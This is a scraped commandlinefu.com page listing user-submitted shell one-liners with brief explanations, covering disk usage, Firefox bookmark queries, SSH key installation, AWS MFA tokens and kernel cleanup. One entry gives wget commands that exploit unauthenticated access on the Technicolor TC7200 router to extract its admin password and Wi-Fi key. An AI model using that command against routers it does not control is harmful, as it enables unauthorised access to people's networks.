Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Universal configuration monitoring and system of record for IT.
Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

May 19, 2015 - A Look At The New Commandlinefu
I've put together a short writeup on what kind of newness you can expect from the next iteration of clfu. Check it out here.
March 2, 2015 - New Management
I'm Jon, I'll be maintaining and improving clfu. Thanks to David for building such a great resource!
Hide

Top Tags

Hide

Functions

All commands from sorted by
Terminal - All commands - 12,333 results
tree -isfF /var|grep -v "/$"|sort -k2nr|head -10
du -a /var | sort -n -r | head -n 10
echo "$USER"|rev | espeak
awk '/CurrConns/{print $NF}' <<< "$(echo "show info" | sudo nc -U /var/lib/haproxy/stats)"
ps -u jboss -o nlwp= | awk '{ num_threads += $1 } END { print num_threads }'
dir=/rom; a=$(find $dir -name \*.sh -exec cat '{}' \; | egrep -cv '^[[:space:]]*#'); b=$(find $dir -name \*.sh -exec cat '{}' \; | egrep -c '^[[:space:]]*#'); echo $((a+b)) lines = ${a} sloc [$((a*100/(a+b)))%] + ${b} comments [$((b*100/(a+b)))%]
"SELECT strftime('%d.%m.%Y %H:%M:%S', dateAdded/1000000, 'unixepoch', 'localtime'),url FROM moz_places, moz_bookmarks WHERE moz_places.id = moz_bookmarks.fk ORDER BY dateAdded;"; done
2016-05-19 02:09:17
User: weirdname
1

for i in $(ls /home/marco/.mozilla/firefox/*\.*/places.sqlite); do sqlite3 $i "SELECT strftime('%d.%m.%Y %H:%M:%S', dateAdded/1000000, 'unixepoch', 'localtime'),url FROM moz_places, moz_bookmarks WHERE moz_places.id = moz_bookmarks.fk ORDER BY dateAdded;"; done

dpkg -S "$(readlink -e $(which w))" | cut -d ':' -f 1
2016-05-18 09:41:29
User: Fox
Functions: cut
1

Some command names are very different from the name of the package that installed them.

Sometimes, you may want to find out the name of the package that provided a command on a system, so that you can install it on another system.

column -ts , /etc/openvpn/openvpn-status.log
cat user_public_key.pub | ssh root@<host> "cat | su -c 'mkdir -m 700 -p ~/.ssh && cat >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys' <user>"
git commit -m "$(curl -s http://whatthecommit.com/index.txt)";
wget -q -O - http://192.168.0.1/goform/system/GatewaySettings.bin | strings | tail -n 2
2016-05-03 23:03:55
User: paulera
Functions: strings tail wget
1

The router Technicolor TC7200 has an exploit where the file http://192.168.0.1/goform/system/GatewaySettings.bin is open for unauthenticated access. Even though it is binary, the 2 last strings are the username and password for the pages for router management. It can be read using the 'strings' command, 'hexdump -C' or a hexadecimal editor.

(default user/password = admin/admin)

Reveals more configuration, including SSID name and Key for the wifi network:

wget -q -O - http://192.168.0.1/goform/system/GatewaySettings.bin

Hexadecimal dump of the file:

wget -q -O - http://192.168.0.1/goform/system/GatewaySettings.bin | hexdump -C
bashrc-reload() { builtin exec bash ; }
command systemctl --no-page --no-legend --plain -t service --state=running
systemctl --no-page -t service -a --state running --no-legend
mplayer http://pub7.di.fm/di_ambient_aac?1 -user-agent "AudioAddict-di/3.2.0.3240 Android/5.1"
2016-04-29 23:41:17
User: sxiii
0

This commands does just two things: fakes user agent (the one was taken from recent Android app) and sends the (possibly) listener ID (it can be any - I put "1" here because it works like a charm - after the name of stream ?1 as you can see).

Look for the list of stations here: http://pub7.di.fm

Or here: https://goo.gl/pdhhpQ

Best regards, sxiii :)

for i in `ls`; do mv "$i" "`echo $i | sed s/.json/_20160428.json/`"; done
apt purge linux*{14..18}*
2016-04-20 07:44:55
User: ppq
Functions: apt
1

If, for example, you want to remove all kernels and headers but the last three versions, you can't use one of that magic all-in-one "remove old stuff" commands.

With this simple but elegant command you can remove a range of versions, or a list of versions with e.g. {14,16,20}.

scriptName="reorder_files.sh"; echo -e '#!/bin/sh\n' > "${scriptName}"; cat files.txt | while read file; do echo "touch ${file}; sleep 0.5;" >> "${scriptName}"; done; chmod +x "${scriptName}";
2016-04-19 11:52:00
User: programmer
Functions: cat chmod echo read
1

Create a bash script to change the modification time for each file in 'files.txt' such that they are in the same order as in 'files.txt'

File name for bash script specified by variable, 'scriptName'. It is made an executable once writing into it has been completed.

ls *.pdf | while read file; do newfile="${file##CS749__}"; mv "${file}" "${newfile}"; done;
ls *.pdf | while read file; do newfile="CS749__${file}"; mv "${file}" "${newfile}"; done;
touch files.txt; cat reorder_files.sh | while read line; do x=`echo $line | sed 's/touch \([a-z0-9\.]\+.*.pdf\);.*/\1/'`; echo $x >> files.txt ; done;
pkg update -nv | sed -n '/entire/{N;p;}'
2016-04-15 20:48:49
User: apaton
Functions: sed
0

Above example is upgrading Solaris from 11.1SRU20.0.5 to 11.2SRU15.0.5. Patches are not applied options "-nv" are for dryrun and verbose output.

head -n1 | xargs -I {} aws sts get-session-token --serial-number $MFA_ID --duration-seconds 900 --token-code {} --output text --query [Credentials.AccessKeyId,Credentials.SecretAccessKey,Credentials.SessionToken]
2016-04-12 10:57:00
User: keymon
Functions: head xargs
1

You might want to secure your AWS operations requiring to use a MFA token. But then to use API or tools, you need to pass credentials generated with a MFA token.

This commands asks you for the MFA code and retrieves these credentials using AWS Cli. To print the exports, you can use:

`awk '{ print "export AWS_ACCESS_KEY_ID=\"" $1 "\"\n" "export AWS_SECRET_ACCESS_KEY=\"" $2 "\"\n" "export AWS_SESSION_TOKEN=\"" $3 "\"" }'`

You must adapt the command line to include:

* $MFA_IDis ARN of the virtual MFA or serial number of the physical one

* TTL for the credentials

echo Which way up? | flip.pl | cowsay | tac | sed -e "s,/,+,g" -e "s,\\\,/,g" -e "s,+,\\\,g" -e "s,_,-,g" -e "s,\^,v,g"
2016-04-08 11:41:44
User: mpb
Functions: echo sed tac
1

It's quite fun to invert text using "flip.pl" (ref: http://ubuntuforums.org/showthread.php?t=2078323 ).

Slightly more challenging is to flip a whole "cowsay". :-)